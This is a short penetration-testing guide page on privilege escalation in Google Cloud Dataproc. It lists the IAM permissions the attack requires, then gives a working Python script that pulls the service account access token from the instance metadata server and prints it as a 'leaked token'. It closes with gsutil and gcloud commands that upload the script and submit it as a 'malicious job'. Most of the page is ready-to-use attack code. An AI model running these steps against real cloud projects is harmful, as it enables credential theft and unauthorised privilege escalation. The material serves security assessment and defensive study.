GCP Dataproc Privilege Escalation

Reading time: 2 minutes

Dataproc

GCP - Dataproc Enum

dataproc.clusters.get, dataproc.clusters.use, dataproc.jobs.create, dataproc.jobs.get, dataproc.jobs.list, storage.objects.create, storage.objects.get

I was unable to get a reverse shell using this method, however it is possible to leak SA token from the metadata endpoint using the method described below.

Steps to exploit

• Place the job script on the GCP Bucket

• Submit a job to a Dataproc cluster.

• Use the job to access the metadata server.

• Leak the service account token used by the cluster.

import requests

metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token"
headers = {"Metadata-Flavor": "Google"}

def fetch_metadata_token():
    try:
        response = requests.get(metadata_url, headers=headers, timeout=5)
        response.raise_for_status()
        token = response.json().get("access_token", "")
        print(f"Leaked Token: {token}")
        return token
    except Exception as e:
        print(f"Error fetching metadata token: {e}")
        return None

if __name__ == "__main__":
    fetch_metadata_token()

# Copy the script to the storage bucket
gsutil cp <python-script> gs://<bucket-name>/<python-script>

# Submit the malicious job
gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
    --cluster=<cluster-name> \
    --region=<region>